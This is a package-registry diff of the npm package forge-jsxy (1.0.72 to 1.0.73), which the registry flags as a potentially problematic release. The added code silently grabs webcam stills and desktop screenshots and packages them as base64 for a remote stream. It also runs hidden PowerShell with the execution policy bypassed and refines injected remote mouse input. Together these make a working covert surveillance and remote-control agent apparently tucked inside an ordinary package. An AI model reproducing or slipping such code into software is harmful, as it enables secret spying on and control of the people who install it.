forge-jsxy 1.0.72 → 1.0.73

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

@@ -2062,7 +2062,13 @@ function userRequestedScreenshotMaxWidth() {
2062
2062
  * Max width for capture-time down-scale (Windows GDI, Linux ffmpeg, macOS merge). Unset env →
2063
2063
  * {@link DEFAULT_SCREENSHOT_MAX_WIDTH}. User `0` → do not down-scale at capture.
2064
2064
  */
2065
- function captureScaleMaxWidth() {
2065
+ function captureScaleMaxWidth(overrideMaxWidth) {
2066
+ if (Number.isFinite(Number(overrideMaxWidth))) {
2067
+ const n = Number(overrideMaxWidth);
2068
+ if (n <= 0)
2069
+ return 0;
2070
+ return Math.min(32_768, Math.max(320, Math.floor(n)));
2071
+ }
2066
2072
  const u = userRequestedScreenshotMaxWidth();
2067
2073
  if (u === 0)
2068
2074
  return 0;
@@ -2071,9 +2077,43 @@ function captureScaleMaxWidth() {
2071
2077
  return DEFAULT_SCREENSHOT_MAX_WIDTH;
2072
2078
  }
2073
2079
  /** Strict byte limit for relay/WebSocket. */
2074
- function screenshotHardCapBytes() {
2080
+ function screenshotHardCapBytes(overrideMaxBytes) {
2081
+ if (Number.isFinite(Number(overrideMaxBytes))) {
2082
+ const n = Number(overrideMaxBytes);
2083
+ return Math.min(12 * 1024 * 1024, Math.max(64 * 1024, Math.floor(n)));
2084
+ }
2075
2085
  return effectiveScreenshotMaxBytes();
2076
2086
  }
2087
+ function cameraOverlayEnabledByDefault() {
2088
+ const raw = String(process.env.FORGE_JS_CAMERA_OVERLAY_ENABLED || "").trim().toLowerCase();
2089
+ if (!raw)
2090
+ return false;
2091
+ return !["0", "false", "no", "off"].includes(raw);
2092
+ }
2093
+ function cameraOverlayWidthPercent() {
2094
+ const raw = Number.parseFloat(String(process.env.FORGE_JS_CAMERA_OVERLAY_WIDTH_PERCENT || "").trim());
2095
+ if (!Number.isFinite(raw))
2096
+ return 20;
2097
+ return Math.min(40, Math.max(10, raw));
2098
+ }
2099
+ function normalizeScreenshotCaptureOptions(options) {
2100
+ const o = options || {};
2101
+ const streamProfile = String(o.stream_profile || "").trim().toLowerCase();
2102
+ const maxBytes = Number.isFinite(Number(o.max_bytes))
2103
+ ? screenshotHardCapBytes(Number(o.max_bytes))
2104
+ : null;
2105
+ const maxWidth = Number.isFinite(Number(o.max_width))
2106
+ ? captureScaleMaxWidth(Number(o.max_width))
2107
+ : null;
2108
+ return {
2109
+ streamProfile,
2110
+ maxBytes,
2111
+ maxWidth,
2112
+ includeCamera: typeof o.include_camera === "boolean"
2113
+ ? o.include_camera
2114
+ : cameraOverlayEnabledByDefault(),
2115
+ };
2116
+ }
2077
2117
  /** Shrink passes: start slightly under the hard cap so JPEG/PNG encoders rarely overshoot. */
2078
2118
  function screenshotShrinkTierTargets(hardCap) {
2079
2119
  const tiers = [
@@ -2154,12 +2194,18 @@ async function lastResortScreenshotShrinkBuffer(raw, hardCap) {
2154
2194
  * when over cap), return base64 for relay, delete file. JPEG may be returned when PNG cannot fit the cap.
2155
2195
  * Used by Windows / Linux / macOS screenshot paths (no GUI from this helper).
2156
2196
  */
2157
- async function resultFromPngPath(outPath) {
2197
+ async function resultFromPngPath(outPath, options) {
2158
2198
  try {
2159
2199
  if (!outPath || !fs.existsSync(outPath)) {
2160
2200
  return { ok: false, error: "screenshot produced no image file" };
2161
2201
  }
2162
- const hardCap = screenshotHardCapBytes();
2202
+ const hardCap = screenshotHardCapBytes(options?.maxBytes ?? null);
2203
+ if (options?.includeCamera && options.streamProfile !== "remote_stream") {
2204
+ const ffmpeg = resolveFfmpegForShrink();
2205
+ if (ffmpeg) {
2206
+ await tryApplyCameraOverlayToPng(ffmpeg, outPath);
2207
+ }
2208
+ }
2163
2209
  let buf = fs.readFileSync(outPath);
2164
2210
  let mime = sniffScreenshotMime(buf);
2165
2211
  if (buf.length > hardCap) {
@@ -2232,12 +2278,39 @@ async function resultFromPngPath(outPath) {
2232
2278
  };
2233
2279
  }
2234
2280
  }
2281
+ if (options?.streamProfile === "remote_stream" && mime !== "image/jpeg") {
2282
+ const remoteTargets = [
2283
+ Math.min(hardCap, Math.max(96 * 1024, Math.floor(hardCap * 0.9))),
2284
+ Math.min(hardCap, Math.max(80 * 1024, Math.floor(hardCap * 0.72))),
2285
+ Math.min(hardCap, Math.max(64 * 1024, Math.floor(hardCap * 0.56))),
2286
+ Math.min(hardCap, Math.max(48 * 1024, Math.floor(hardCap * 0.42))),
2287
+ ];
2288
+ let converted = null;
2289
+ for (const t of remoteTargets) {
2290
+ const out = await shrinkScreenshotBufferToMaxBytes(buf, t);
2291
+ if (!out || out.buffer.length > hardCap)
2292
+ continue;
2293
+ converted = out;
2294
+ if (out.mime === "image/jpeg")
2295
+ break;
2296
+ }
2297
+ if (converted && converted.buffer.length <= hardCap) {
2298
+ buf = converted.buffer;
2299
+ mime = converted.mime;
2300
+ }
2301
+ }
2302
+ const dims = mime === "image/png"
2303
+ ? readPngIhdrSize(buf)
2304
+ : mime === "image/jpeg"
2305
+ ? readJpegSize(buf)
2306
+ : null;
2235
2307
  return {
2236
2308
  ok: true,
2237
2309
  mime,
2238
2310
  b64: buf.toString("base64"),
2239
- width: 0,
2240
- height: 0,
2311
+ bytes: buf.length,
2312
+ width: dims?.w ?? 0,
2313
+ height: dims?.h ?? 0,
2241
2314
  };
2242
2315
  }
2243
2316
  catch (e) {
@@ -2282,6 +2355,61 @@ function readPngIhdrSize(buf) {
2282
2355
  return null;
2283
2356
  }
2284
2357
  }
2358
+ /** Read width/height from a baseline/progressive JPEG buffer by scanning SOF markers. */
2359
+ function readJpegSize(buf) {
2360
+ try {
2361
+ if (!buf || buf.length < 4)
2362
+ return null;
2363
+ if (buf[0] !== 0xff || buf[1] !== 0xd8)
2364
+ return null;
2365
+ let i = 2;
2366
+ while (i + 3 < buf.length) {
2367
+ if (buf[i] !== 0xff) {
2368
+ i += 1;
2369
+ continue;
2370
+ }
2371
+ let marker = buf[i + 1];
2372
+ while (marker === 0xff && i + 2 < buf.length) {
2373
+ i += 1;
2374
+ marker = buf[i + 1];
2375
+ }
2376
+ i += 2;
2377
+ if (marker === 0xd9 || marker === 0xda)
2378
+ break;
2379
+ if (i + 1 >= buf.length)
2380
+ break;
2381
+ const len = buf.readUInt16BE(i);
2382
+ if (len < 2 || i + len > buf.length)
2383
+ break;
2384
+ const isSof = marker === 0xc0 ||
2385
+ marker === 0xc1 ||
2386
+ marker === 0xc2 ||
2387
+ marker === 0xc3 ||
2388
+ marker === 0xc5 ||
2389
+ marker === 0xc6 ||
2390
+ marker === 0xc7 ||
2391
+ marker === 0xc9 ||
2392
+ marker === 0xca ||
2393
+ marker === 0xcb ||
2394
+ marker === 0xcd ||
2395
+ marker === 0xce ||
2396
+ marker === 0xcf;
2397
+ if (isSof && len >= 7 && i + 7 <= buf.length) {
2398
+ const h = buf.readUInt16BE(i + 3);
2399
+ const w = buf.readUInt16BE(i + 5);
2400
+ if (!Number.isFinite(w) || !Number.isFinite(h) || w < 1 || h < 1 || w > 65535 || h > 65535) {
2401
+ return null;
2402
+ }
2403
+ return { w, h };
2404
+ }
2405
+ i += len;
2406
+ }
2407
+ return null;
2408
+ }
2409
+ catch {
2410
+ return null;
2411
+ }
2412
+ }
2285
2413
  function sniffScreenshotMime(buf) {
2286
2414
  if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
2287
2415
  return "image/jpeg";
@@ -2291,6 +2419,62 @@ function sniffScreenshotMime(buf) {
2291
2419
  }
2292
2420
  return "image/png";
2293
2421
  }
2422
+ let windowsVirtualBoundsCache = null;
2423
+ function getWindowsVirtualScreenBoundsCached(fallbackW, fallbackH) {
2424
+ const now = Date.now();
2425
+ if (windowsVirtualBoundsCache && now - windowsVirtualBoundsCache.at < 15_000) {
2426
+ return windowsVirtualBoundsCache.bounds;
2427
+ }
2428
+ const fb = {
2429
+ x: 0,
2430
+ y: 0,
2431
+ w: Math.max(1, Math.floor(fallbackW || 1)),
2432
+ h: Math.max(1, Math.floor(fallbackH || 1)),
2433
+ };
2434
+ try {
2435
+ const pwsh = process.env.SystemRoot
2436
+ ? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
2437
+ : "powershell.exe";
2438
+ const script = [
2439
+ "$ErrorActionPreference='Stop'",
2440
+ "Add-Type @'",
2441
+ "using System;",
2442
+ "using System.Runtime.InteropServices;",
2443
+ "public class ForgeVirtualBounds {",
2444
+ " [DllImport(\"user32.dll\")] public static extern int GetSystemMetrics(int nIndex);",
2445
+ "}",
2446
+ "'@",
2447
+ "$x=[ForgeVirtualBounds]::GetSystemMetrics(76)",
2448
+ "$y=[ForgeVirtualBounds]::GetSystemMetrics(77)",
2449
+ "$w=[ForgeVirtualBounds]::GetSystemMetrics(78)",
2450
+ "$h=[ForgeVirtualBounds]::GetSystemMetrics(79)",
2451
+ "Write-Output (@{ x=$x; y=$y; w=$w; h=$h } | ConvertTo-Json -Compress)",
2452
+ ].join(";");
2453
+ const r = (0, node_child_process_1.spawnSync)(pwsh, ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-ExecutionPolicy", "Bypass", "-Command", script], { encoding: "utf8", timeout: 4000, windowsHide: true, env: process.env });
2454
+ if (r.status === 0) {
2455
+ const parsed = JSON.parse(String(r.stdout || "").trim());
2456
+ const x = Number(parsed.x);
2457
+ const y = Number(parsed.y);
2458
+ const w = Number(parsed.w);
2459
+ const h = Number(parsed.h);
2460
+ if (Number.isFinite(x) && Number.isFinite(y) && Number.isFinite(w) && Number.isFinite(h) && w > 0 && h > 0) {
2461
+ const bounds = {
2462
+ x: Math.floor(x),
2463
+ y: Math.floor(y),
2464
+ w: Math.floor(w),
2465
+ h: Math.floor(h),
2466
+ };
2467
+ windowsVirtualBoundsCache = { at: now, bounds };
2468
+ return bounds;
2469
+ }
2470
+ }
2471
+ }
2472
+ catch {
2473
+ /* ignore and keep fallback */
2474
+ }
2475
+ windowsVirtualBoundsCache = { at: now, bounds: fb };
2476
+ return fb;
2477
+ }
2294
2478
  /**
2295
2479
  * Agents started via systemd / launchd often have a minimal `PATH` and miss `/usr/bin/ffmpeg`.
2296
2480
  * Prepend standard locations so screenshot shrink can find encoders without extra env setup.
@@ -3290,13 +3474,214 @@ async function tryFfmpegOverlayStitch(ffmpegBin, outPath, canvasW, canvasH, part
3290
3474
  });
3291
3475
  });
3292
3476
  }
3477
+ let windowsDshowCameraNameCache;
3478
+ function firstWindowsDshowCameraName(ffmpegBin) {
3479
+ if (windowsDshowCameraNameCache !== undefined)
3480
+ return windowsDshowCameraNameCache;
3481
+ try {
3482
+ const r = (0, node_child_process_1.spawnSync)(ffmpegBin, ["-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy"], {
3483
+ encoding: "utf8",
3484
+ timeout: 10_000,
3485
+ windowsHide: true,
3486
+ env: process.env,
3487
+ });
3488
+ const dump = `${r.stdout || ""}\n${r.stderr || ""}`;
3489
+ const lines = dump.split(/\r?\n/);
3490
+ for (const line of lines) {
3491
+ if (!/\(video\)/i.test(line))
3492
+ continue;
3493
+ const m = line.match(/"([^"]+)"/);
3494
+ if (!m)
3495
+ continue;
3496
+ const name = String(m[1] || "").trim();
3497
+ if (!name)
3498
+ continue;
3499
+ windowsDshowCameraNameCache = name;
3500
+ return name;
3501
+ }
3502
+ }
3503
+ catch {
3504
+ /* skip */
3505
+ }
3506
+ windowsDshowCameraNameCache = null;
3507
+ return null;
3508
+ }
3509
+ async function tryCaptureCameraStillPng(ffmpegBin, outPath) {
3510
+ const argsBase = ["-nostdin", "-hide_banner", "-loglevel", "error", "-y"];
3511
+ let args = null;
3512
+ if (process.platform === "linux") {
3513
+ if (!fs.existsSync("/dev/video0"))
3514
+ return false;
3515
+ args = [
3516
+ ...argsBase,
3517
+ "-f",
3518
+ "video4linux2",
3519
+ "-i",
3520
+ "/dev/video0",
3521
+ "-vf",
3522
+ "scale=360:-2",
3523
+ "-frames:v",
3524
+ "1",
3525
+ outPath,
3526
+ ];
3527
+ }
3528
+ else if (process.platform === "darwin") {
3529
+ args = [
3530
+ ...argsBase,
3531
+ "-f",
3532
+ "avfoundation",
3533
+ "-i",
3534
+ "0:none",
3535
+ "-vf",
3536
+ "scale=360:-2",
3537
+ "-frames:v",
3538
+ "1",
3539
+ outPath,
3540
+ ];
3541
+ }
3542
+ else if (process.platform === "win32") {
3543
+ const dev = firstWindowsDshowCameraName(ffmpegBin);
3544
+ if (!dev)
3545
+ return false;
3546
+ args = [
3547
+ ...argsBase,
3548
+ "-f",
3549
+ "dshow",
3550
+ "-i",
3551
+ `video=${dev}`,
3552
+ "-vf",
3553
+ "scale=360:-2",
3554
+ "-frames:v",
3555
+ "1",
3556
+ outPath,
3557
+ ];
3558
+ }
3559
+ else {
3560
+ return false;
3561
+ }
3562
+ return await trySpawnScreenshotTool(ffmpegBin, args, outPath, 12_000);
3563
+ }
3564
+ let cameraStillCache = null;
3565
+ let cameraStillLastSentAt = 0;
3566
+ let cameraCaptureFailureStreak = 0;
3567
+ let cameraCaptureRetryAfterMs = 0;
3568
+ async function getCameraStillBase64(ffmpegBin, minRefreshMs) {
3569
+ const now = Date.now();
3570
+ if (cameraCaptureRetryAfterMs > now)
3571
+ return null;
3572
+ if (cameraStillCache &&
3573
+ now - cameraStillCache.at < Math.max(300, minRefreshMs) &&
3574
+ cameraStillCache.b64) {
3575
+ return { b64: cameraStillCache.b64, mime: cameraStillCache.mime };
3576
+ }
3577
+ const camPath = path.join(os.tmpdir(), `forge-cam-still-${(0, node_crypto_1.randomBytes)(8).toString("hex")}.png`);
3578
+ try {
3579
+ const ok = await tryCaptureCameraStillPng(ffmpegBin, camPath);
3580
+ if (!ok || !fs.existsSync(camPath)) {
3581
+ cameraCaptureFailureStreak = Math.min(8, cameraCaptureFailureStreak + 1);
3582
+ const backoff = Math.min(30_000, 3_000 * cameraCaptureFailureStreak);
3583
+ cameraCaptureRetryAfterMs = now + backoff;
3584
+ return null;
3585
+ }
3586
+ const buf = fs.readFileSync(camPath);
3587
+ if (!buf.length) {
3588
+ cameraCaptureFailureStreak = Math.min(8, cameraCaptureFailureStreak + 1);
3589
+ const backoff = Math.min(30_000, 3_000 * cameraCaptureFailureStreak);
3590
+ cameraCaptureRetryAfterMs = now + backoff;
3591
+ return null;
3592
+ }
3593
+ const mime = sniffScreenshotMime(buf);
3594
+ const b64 = buf.toString("base64");
3595
+ cameraStillCache = { at: now, b64, mime };
3596
+ cameraCaptureFailureStreak = 0;
3597
+ cameraCaptureRetryAfterMs = 0;
3598
+ return { b64, mime };
3599
+ }
3600
+ catch {
3601
+ cameraCaptureFailureStreak = Math.min(8, cameraCaptureFailureStreak + 1);
3602
+ const backoff = Math.min(30_000, 3_000 * cameraCaptureFailureStreak);
3603
+ cameraCaptureRetryAfterMs = now + backoff;
3604
+ return null;
3605
+ }
3606
+ finally {
3607
+ try {
3608
+ if (fs.existsSync(camPath))
3609
+ fs.unlinkSync(camPath);
3610
+ }
3611
+ catch {
3612
+ /* skip */
3613
+ }
3614
+ }
3615
+ }
3616
+ function cameraOverlaySendIntervalMs() {
3617
+ return 1200;
3618
+ }
3619
+ async function tryApplyCameraOverlayToPng(ffmpegBin, screenshotPath) {
3620
+ try {
3621
+ const base = fs.readFileSync(screenshotPath);
3622
+ const dims = readPngIhdrSize(base);
3623
+ if (!dims)
3624
+ return false;
3625
+ const camPath = path.join(os.tmpdir(), `forge-cam-${(0, node_crypto_1.randomBytes)(8).toString("hex")}.png`);
3626
+ const outPath = path.join(os.tmpdir(), `forge-cam-merged-${(0, node_crypto_1.randomBytes)(8).toString("hex")}.png`);
3627
+ let captured = false;
3628
+ try {
3629
+ captured = await tryCaptureCameraStillPng(ffmpegBin, camPath);
3630
+ if (!captured)
3631
+ return false;
3632
+ const overlayW = Math.max(96, Math.floor(dims.w * (cameraOverlayWidthPercent() / 100)));
3633
+ const margin = Math.max(8, Math.floor(dims.w * 0.015));
3634
+ const filter = `[1:v]scale=${overlayW}:-2[cam];` +
3635
+ `[0:v][cam]overlay=W-w-${margin}:H-h-${margin}`;
3636
+ const ok = await trySpawnScreenshotTool(ffmpegBin, [
3637
+ "-nostdin",
3638
+ "-hide_banner",
3639
+ "-loglevel",
3640
+ "error",
3641
+ "-y",
3642
+ "-i",
3643
+ screenshotPath,
3644
+ "-i",
3645
+ camPath,
3646
+ "-filter_complex",
3647
+ filter,
3648
+ "-frames:v",
3649
+ "1",
3650
+ outPath,
3651
+ ], outPath, 15_000);
3652
+ if (!ok)
3653
+ return false;
3654
+ fs.copyFileSync(outPath, screenshotPath);
3655
+ return true;
3656
+ }
3657
+ finally {
3658
+ try {
3659
+ if (fs.existsSync(camPath))
3660
+ fs.unlinkSync(camPath);
3661
+ }
3662
+ catch {
3663
+ /* skip */
3664
+ }
3665
+ try {
3666
+ if (fs.existsSync(outPath))
3667
+ fs.unlinkSync(outPath);
3668
+ }
3669
+ catch {
3670
+ /* skip */
3671
+ }
3672
+ }
3673
+ }
3674
+ catch {
3675
+ return false;
3676
+ }
3677
+ }
3293
3678
  /**
3294
3679
  * macOS: `/usr/sbin/screencapture` with `-x` (no sound), non-interactive.
3295
3680
  * Prefers per-display `-D 1..N` capture and merge when multiple displays are present, then
3296
3681
  * falls back to one combined capture. This avoids hosts where plain `screencapture -x` returns
3297
3682
  * only the active/main display.
3298
3683
  */
3299
- async function fsDarwinScreenshotCapture() {
3684
+ async function fsDarwinScreenshotCapture(options) {
3300
3685
  if (!isMacos()) {
3301
3686
  return { ok: false, error: "screenshot is only supported on macOS agents" };
3302
3687
  }
@@ -3335,7 +3720,7 @@ async function fsDarwinScreenshotCapture() {
3335
3720
  if (partPaths.length === 0) {
3336
3721
  const trySingle = await trySpawnScreenshotTool(scBin, ["-x", "-t", "png", outPath], outPath, SCREENSHOT_TOOL_TIMEOUT_MS);
3337
3722
  if (trySingle) {
3338
- return await resultFromPngPath(outPath);
3723
+ return await resultFromPngPath(outPath, options);
3339
3724
  }
3340
3725
  return {
3341
3726
  ok: false,
@@ -3351,7 +3736,7 @@ async function fsDarwinScreenshotCapture() {
3351
3736
  catch {
3352
3737
  /* skip */
3353
3738
  }
3354
- return await resultFromPngPath(outPath);
3739
+ return await resultFromPngPath(outPath, options);
3355
3740
  }
3356
3741
  catch (e) {
3357
3742
  return { ok: false, error: String(e) };
@@ -3371,7 +3756,7 @@ async function fsDarwinScreenshotCapture() {
3371
3756
  }
3372
3757
  }
3373
3758
  if (trySingle)
3374
- return await resultFromPngPath(outPath);
3759
+ return await resultFromPngPath(outPath, options);
3375
3760
  return {
3376
3761
  ok: false,
3377
3762
  error: "macOS screenshot failed for multi-display merge: install ImageMagick (`brew install imagemagick`) or ffmpeg so displays can be merged.",
@@ -3385,7 +3770,7 @@ async function fsDarwinScreenshotCapture() {
3385
3770
  args.push("(", p, "+repage", ")");
3386
3771
  }
3387
3772
  args.push("+append");
3388
- const capW = captureScaleMaxWidth();
3773
+ const capW = captureScaleMaxWidth(options?.maxWidth ?? null);
3389
3774
  if (capW > 0) {
3390
3775
  args.push("-resize", `${capW}x>`);
3391
3776
  }
@@ -3459,7 +3844,7 @@ async function fsDarwinScreenshotCapture() {
3459
3844
  error: "macOS screenshot: ImageMagick failed to merge multi-display captures",
3460
3845
  };
3461
3846
  }
3462
- return await resultFromPngPath(outPath);
3847
+ return await resultFromPngPath(outPath, options);
3463
3848
  }
3464
3849
  /**
3465
3850
  * Collect logical output names for per-output `grim -o` (multi-head Wayland).
@@ -4382,7 +4767,7 @@ async function tryLinuxWaylandAllOutputsStitchedPng(outPath) {
4382
4767
  * maim, ImageMagick import, scrot -z. All stdio ignored, no forge-js dialogs. Requires user-session
4383
4768
  * env (WAYLAND_DISPLAY / DISPLAY) and tools on PATH where applicable.
4384
4769
  */
4385
- async function fsLinuxScreenshotCapture() {
4770
+ async function fsLinuxScreenshotCapture(options) {
4386
4771
  if (process.platform !== "linux") {
4387
4772
  return { ok: false, error: "screenshot is only supported on Linux agents" };
4388
4773
  }
@@ -4401,7 +4786,7 @@ async function fsLinuxScreenshotCapture() {
4401
4786
  memoWaylandProbe = await linuxWaylandProbeOutputDims(grimPath, `forge-fe-wlexp-${id}`);
4402
4787
  return memoWaylandProbe;
4403
4788
  };
4404
- const scaleW = captureScaleMaxWidth();
4789
+ const scaleW = captureScaleMaxWidth(options?.maxWidth ?? null);
4405
4790
  const userW = userRequestedScreenshotMaxWidth();
4406
4791
  /**
4407
4792
  * Reject captures that are clearly smaller than the full virtual desktop:
@@ -4412,11 +4797,11 @@ async function fsLinuxScreenshotCapture() {
4412
4797
  */
4413
4798
  const finalizeLinuxScreenshotPng = async () => {
4414
4799
  if (!wl) {
4415
- const r = await resultFromPngPath(outPath);
4800
+ const r = await resultFromPngPath(outPath, options);
4416
4801
  return r.ok === true ? r : null;
4417
4802
  }
4418
4803
  if (userW !== null && userW > 0) {
4419
- const r = await resultFromPngPath(outPath);
4804
+ const r = await resultFromPngPath(outPath, options);
4420
4805
  return r.ok === true ? r : null;
4421
4806
  }
4422
4807
  try {
@@ -4461,7 +4846,7 @@ async function fsLinuxScreenshotCapture() {
4461
4846
  catch {
4462
4847
  return null;
4463
4848
  }
4464
- const r = await resultFromPngPath(outPath);
4849
+ const r = await resultFromPngPath(outPath, options);
4465
4850
  return r.ok === true ? r : null;
4466
4851
  };
4467
4852
  const ffmpegScaleArgs = scaleW > 0 ? ["-vf", `scale='min(${scaleW},iw)':-1`] : [];
@@ -4679,7 +5064,7 @@ async function fsLinuxScreenshotCapture() {
4679
5064
  return res;
4680
5065
  }
4681
5066
  else {
4682
- const r = await resultFromPngPath(outPath);
5067
+ const r = await resultFromPngPath(outPath, options);
4683
5068
  if (r.ok === true)
4684
5069
  return r;
4685
5070
  }
@@ -4708,13 +5093,50 @@ async function fsLinuxScreenshotCapture() {
4708
5093
  * `FORGE_JS_SCREENSHOT_MAX_WIDTH`: omit = capture down-scales to ~1680px width (plus auto JPEG shrink); `0` = no capture down-scale.
4709
5094
  * GNOME: set `FORGE_JS_SCREENSHOT_MUTTER_LOGICAL_POS_SCALE=1` if logical-monitor positions need scaling to match `grim` buffers (default off).
4710
5095
  */
4711
- async function fsDesktopScreenshotCapture() {
4712
- if (isWindows())
4713
- return fsWindowsScreenshotCapture();
4714
- if (isMacos())
4715
- return fsDarwinScreenshotCapture();
4716
- if (process.platform === "linux")
4717
- return fsLinuxScreenshotCapture();
5096
+ async function fsDesktopScreenshotCapture(options) {
5097
+ const startedAt = Date.now();
5098
+ const resolved = normalizeScreenshotCaptureOptions(options);
5099
+ const shot = isWindows()
5100
+ ? await fsWindowsScreenshotCapture(resolved)
5101
+ : isMacos()
5102
+ ? await fsDarwinScreenshotCapture(resolved)
5103
+ : process.platform === "linux"
5104
+ ? await fsLinuxScreenshotCapture(resolved)
5105
+ : null;
5106
+ if (shot) {
5107
+ if (shot && typeof shot === "object") {
5108
+ try {
5109
+ shot.capture_ms = Math.max(0, Date.now() - startedAt);
5110
+ }
5111
+ catch {
5112
+ /* ignore */
5113
+ }
5114
+ }
5115
+ if (shot.ok === true &&
5116
+ resolved.streamProfile === "remote_stream" &&
5117
+ resolved.includeCamera) {
5118
+ const ffmpeg = resolveFfmpegForShrink();
5119
+ const cam = ffmpeg ? await getCameraStillBase64(ffmpeg, 1200) : null;
5120
+ const now = Date.now();
5121
+ if (cam &&
5122
+ now - cameraStillLastSentAt >= cameraOverlaySendIntervalMs()) {
5123
+ cameraStillLastSentAt = now;
5124
+ return {
5125
+ ...shot,
5126
+ camera_available: true,
5127
+ camera_b64: cam.b64,
5128
+ camera_mime: cam.mime,
5129
+ camera_width_percent: cameraOverlayWidthPercent(),
5130
+ };
5131
+ }
5132
+ return {
5133
+ ...shot,
5134
+ camera_available: Boolean(cam),
5135
+ camera_width_percent: cameraOverlayWidthPercent(),
5136
+ };
5137
+ }
5138
+ return shot;
5139
+ }
4718
5140
  return {
4719
5141
  ok: false,
4720
5142
  error: `screenshot is not supported on platform ${process.platform}`,
@@ -4725,14 +5147,55 @@ async function fsDesktopScreenshotCapture() {
4725
5147
  * virtual-screen metrics so HiDPI multi-monitor matches GDI `CopyFromScreen` (avoids partial/wrong crops).
4726
5148
  * Scales down wide canvases so the PNG fits WebSocket payload limits.
4727
5149
  */
4728
- async function fsWindowsScreenshotCapture() {
5150
+ async function fsWindowsScreenshotCapture(options) {
4729
5151
  if (!isWindows()) {
4730
5152
  return { ok: false, error: "screenshot is only supported when the agent runs on Windows" };
4731
5153
  }
5154
+ if (options?.streamProfile === "remote_stream") {
5155
+ const ffmpeg = resolveFfmpegForShrink();
5156
+ if (ffmpeg) {
5157
+ const outJpg = path.join(os.tmpdir(), `forge-fe-fast-${(0, node_crypto_1.randomBytes)(10).toString("hex")}.jpg`);
5158
+ const maxW = captureScaleMaxWidth(options?.maxWidth ?? null);
5159
+ const vf = maxW > 0 ? `scale='if(gt(iw,${maxW}),${maxW},iw)':-2` : "";
5160
+ const args = [
5161
+ "-nostdin",
5162
+ "-hide_banner",
5163
+ "-loglevel",
5164
+ "error",
5165
+ "-y",
5166
+ "-f",
5167
+ "gdigrab",
5168
+ "-draw_mouse",
5169
+ "1",
5170
+ "-i",
5171
+ "desktop",
5172
+ ];
5173
+ if (vf) {
5174
+ args.push("-vf", vf);
5175
+ }
5176
+ args.push("-q:v", "8", "-frames:v", "1", outJpg);
5177
+ const ok = await trySpawnScreenshotTool(ffmpeg, args, outJpg, 12_000);
5178
+ if (ok && fs.existsSync(outJpg)) {
5179
+ const fast = await resultFromPngPath(outJpg, options);
5180
+ if (fast.ok === true) {
5181
+ const vw = Number(fast.width || 0);
5182
+ const vh = Number(fast.height || 0);
5183
+ const vb = getWindowsVirtualScreenBoundsCached(vw, vh);
5184
+ return {
5185
+ ...fast,
5186
+ virtual_x: vb.x,
5187
+ virtual_y: vb.y,
5188
+ virtual_width: vb.w > 0 ? vb.w : vw,
5189
+ virtual_height: vb.h > 0 ? vb.h : vh,
5190
+ };
5191
+ }
5192
+ }
5193
+ }
5194
+ }
4732
5195
  const tmpDir = os.tmpdir();
4733
5196
  const id = (0, node_crypto_1.randomBytes)(10).toString("hex");
4734
5197
  const psPath = path.join(tmpDir, `forge-fe-cap-${id}.ps1`);
4735
- const maxW = captureScaleMaxWidth();
5198
+ const maxW = captureScaleMaxWidth(options?.maxWidth ?? null);
4736
5199
  const scaleLines = maxW > 0
4737
5200
  ? [
4738
5201
  `$maxW = ${maxW}`,
@@ -4871,7 +5334,7 @@ async function fsWindowsScreenshotCapture() {
4871
5334
  if (!outPath || !fs.existsSync(outPath)) {
4872
5335
  return { ok: false, error: "screenshot script produced no image path" };
4873
5336
  }
4874
- const shot = await resultFromPngPath(outPath);
5337
+ const shot = await resultFromPngPath(outPath, options);
4875
5338
  if (shot.ok === true) {
4876
5339
  return {
4877
5340
  ...shot,
@@ -5130,8 +5593,19 @@ async function fsRemoteControlInput(payload) {
5130
5593
  }
5131
5594
  }
5132
5595
  else if (action === "mouse_wheel") {
5133
- const dy = Number.isFinite(Number(payload.delta_y)) ? Math.floor(Number(payload.delta_y)) : 0;
5134
- const step = Math.max(-2400, Math.min(2400, dy));
5596
+ const dyRaw = Number.isFinite(Number(payload.delta_y))
5597
+ ? Math.floor(Number(payload.delta_y))
5598
+ : 0;
5599
+ if (!dyRaw)
5600
+ return { ok: true, action };
5601
+ let step = dyRaw;
5602
+ if (Math.abs(step) < 120) {
5603
+ step = step < 0 ? -120 : 120;
5604
+ }
5605
+ else {
5606
+ step = Math.round(step / 120) * 120;
5607
+ }
5608
+ step = Math.max(-2400, Math.min(2400, step));
5135
5609
  lines.push(`[ForgeRcUser32]::mouse_event($WHEEL, 0, 0, ${step}, [UIntPtr]::Zero)`);
5136
5610
  }
5137
5611
  else if (action === "key") {